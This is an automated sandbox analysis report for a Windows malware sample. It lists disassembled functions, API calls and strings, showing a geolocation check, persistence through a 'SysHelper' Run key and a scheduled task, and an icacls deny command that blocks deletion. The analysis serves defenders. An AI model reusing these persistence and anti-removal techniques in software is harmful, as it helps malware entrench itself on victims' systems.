Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 749fa8b4feedc4093f1804413be87e79373e968ebd723e486d12a33d4e3752de
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 78D06775D0020DBBCB04EFA5E859CDDBBBCAA04344B009466A954AB281EA74E389CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05DDD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 05DF197D: __wfsopen.LIBCMT ref: 05DF1988

_fgetws.LIBCMT ref: 05DDD15C

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 08670f0e3003e28eaea87e60498eb750eb77404c9e141b2682450f72ba5a3f1b
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: A6917071D00219ABCF21EFA4CD45BAEFBB6FF04304F15052AE955A3240E775AA04CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 05DDD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 05DDD77E
_malloc.LIBCMT ref: 05DDD7B2
_malloc.LIBCMT ref: 05DDD7C1
_fprintf.LIBCMT ref: 05DDD815

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 36c0fafda607eef209d01a83b1e20d58f941caaa1a3ae45994162c2efb598985
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 99A17AB1D00258EBEF11EFA4CC49BDEBBB5EF15304F140029D5057B291E7B65A88CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 05DF2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DF2B2E
__read_nolock.LIBCMT ref: 05DF2BFE
__filbuf.LIBCMT ref: 05DF2C21
_memset.LIBCMT ref: 05DF2C65

Part of subcall function 05DF5BA8: __getptd_noexit.LIBCMT ref: 05DF5BA8

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 4a10fb98c7b72b75c7a37646fa861fb37a927b728cc4404d498effeb20448add
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 1551C038A043059BDB24CFA98C846AE77B6FF40325F16832BEE76D62D4D7709950CB50

Uniqueness

Uniqueness Score: -1.00%

Function 05E11359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 05E1137D

Part of subcall function 05E11A9D: __fltout2.LIBCMT ref: 05E11AC6

__cftog_l.LIBCMT ref: 05E113A3
__cftoe_l.LIBCMT ref: 05E113D5

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: cf8bccc9b088b48a65d9bda1e5686f15482facb05c2c6dbd4fb5035fdfd75902
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 19017B3280414EFBCF1A5E84DC05CEE3F63BB18254B499415FF9998434D232C5B2EB85

Uniqueness

Uniqueness Score: -1.00%

Function 05E97A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 05E97A4B

Part of subcall function 05E98140: ___BuildCatchObjectHelper.LIBCMT ref: 05E98172
Part of subcall function 05E98140: ___AdjustPointer.LIBCMT ref: 05E98189

_UnwindNestedFrames.LIBCMT ref: 05E97A62
___FrameUnwindToState.LIBCMT ref: 05E97A74
CallCatchBlock.LIBCMT ref: 05E97A98

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: eb38ba561d13aeefb9fe04b331f0eeffc388a203794381d1731dd4738a8dafd3
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 24016532500108BBDF16AF95CC04EEE3BBAFF49758F009015FE8862120C372E9A1DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 004040D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004090D5
___raise_securityfailure.LIBCMT ref: 004091BC

Strings

P*K, xrefs: 004091B7

Memory Dump Source

Source File: 00000000.00000002.2001003865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2000989094.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001023248.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001042095.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001062274.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001062274.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001133733.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001133733.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2003139053.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Z4CYGTBlj7.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: P*K
API String ID: 3761405300-496542610
Opcode ID: 299c894bb9815eea6019d5f1d5bc2c7e3798a1ef7a89854c3f44474737b80fbc
Instruction ID: 322497b26e9852963d71d7187e65316d1137569d96bcd3629b16e4dd7b55e67e
Opcode Fuzzy Hash: 299c894bb9815eea6019d5f1d5bc2c7e3798a1ef7a89854c3f44474737b80fbc
Instruction Fuzzy Hash: 5E2134B45083049BD729CF19FA966417BA4BB0C314F10573AEA089B7B0EBF46985CF4D

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Z4CYGTBlj7.exePID: 6392, Parent PID: 5144COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	37%
Total number of Nodes:	806
Total number of Limit Nodes:	91

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,005CAF80,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

--Task, xrefs: 0041A2CD
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
runas, xrefs: 0041A6CE
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
list<T> too long, xrefs: 0041B669, 0041B673
I:\5d2860c89d774.jpg, xrefs: 0041B32F
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
C:\Windows\, xrefs: 0041AE0F
F:\, xrefs: 0041B397
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
7P, xrefs: 0041B164
--Admin, xrefs: 0041A1B4, 0041A632
C:\Program Files\Google\, xrefs: 0041AFB9
IsNotAutoStart, xrefs: 0041A645
x*P, xrefs: 0041ACE4
--Service, xrefs: 0041A30B
IsAutoStart, xrefs: 0041A1D0, 0041A273
x2Q, xrefs: 0041A856
D:\Windows\, xrefs: 0041AFF3
--AutoStart, xrefs: 0041A2EC
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
--ForNetRes, xrefs: 0041A22E
IsNotTask, xrefs: 0041A654
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
D:\Program Files (x86)\Google\, xrefs: 0041B085
D:\Program Files\Google\, xrefs: 0041B0EE
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
IsTask, xrefs: 0041A1EE, 0041A299
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
X1P, xrefs: 0041A485
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
%username%, xrefs: 0041B283
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
<, xrefs: 0041A67B

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

PT5M, xrefs: 0040D5A1, 0040D66C
--Task, xrefs: 0040D8DD
Author Name, xrefs: 0040D4C8
Time Trigger Task, xrefs: 0040D43C, 0040D973
Trigger1, xrefs: 0040D6FA
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
2030-05-02T08:00:00, xrefs: 0040D737

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

Psapi.dll, xrefs: 0041228C
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcessModules, xrefs: 0041226C, 004122A1
kernel32.dll, xrefs: 0041224E
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SysHelper, xrefs: 00411D5B, 004120EB
D, xrefs: 00412128
" --AutoStart, xrefs: 00411DD1
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
icacls ", xrefs: 0041214C
" --AutoStart, xrefs: 004120C2
Shell32.dll, xrefs: 00411E94
SHGetFolderPathW, xrefs: 00411E9F

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

